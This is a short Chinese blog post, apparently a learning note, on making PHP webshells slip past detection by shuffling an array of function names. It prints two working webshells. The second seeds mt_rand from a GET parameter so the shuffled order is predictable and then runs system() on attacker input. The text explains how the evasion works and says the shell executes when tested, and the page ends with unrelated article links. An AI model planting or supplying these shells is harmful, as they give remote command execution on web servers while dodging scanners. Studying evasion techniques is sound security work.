记一次学习--webshell绕过(利用清洗函数)

目录

样本

样本修改


样本

php 复制代码
<?php
$a = array("t", "system");
shuffle($a);
$a[0]($_POST[1]);

通过 shuffle 函数打乱数组,然后通过$a[0]取出第一个元素,打乱后第一个元素可能是t也可能是system。然后再进行POST传参进行命令执行。

这里抓包可以正常执行

样本修改

对于shuffle函数来说,他的随机是伪随机,我们可以通过对其代码的分析然后预测数组中元素打乱的规律。对于sheuffle来说底层调用的是mt_rand来生成随机值,以次控制打乱的数组中的元素的顺序。然后对于mt_rand来说当他的种子定好他的随机值就不会发生改变了。

php 复制代码
<?php
$arr = array("t","a","s","system");
function shift(&$arr){
mt_srand($_GET[0]);
shuffle($arr);
}
shift($arr);
$arr[2]($_GET[1]);
相关推荐
num_killer2 小时前
小白的Langchain学习
java·python·学习·langchain
wdfk_prog2 小时前
[Linux]学习笔记系列 -- hashtable
linux·笔记·学习
2501_942326445 小时前
寒假高效记忆法助力学习飞跃
学习
计算机程序设计小李同学5 小时前
基于SSM框架的动画制作及分享网站设计
java·前端·后端·学习·ssm
深情的小陈同学5 小时前
工作学习笔记 —— 支持手机端的添加表单行操作
笔记·学习·ai编程
ISACA中国5 小时前
2026年网络安全与AI趋势预测
人工智能·安全·web安全
xiangshi_yan6 小时前
内核学习之路【4/100】-io
学习
am心6 小时前
学习笔记-小程序-导入商品浏览功能实现
笔记·学习
Ares-Wang6 小时前
网络》》以太网交换安全
网络·安全
hkNaruto6 小时前
【AI】AI学习笔记:LangGraph入门 三大典型应用场景与代码示例及MCP、A2A与LangGraph核心对比
人工智能·笔记·学习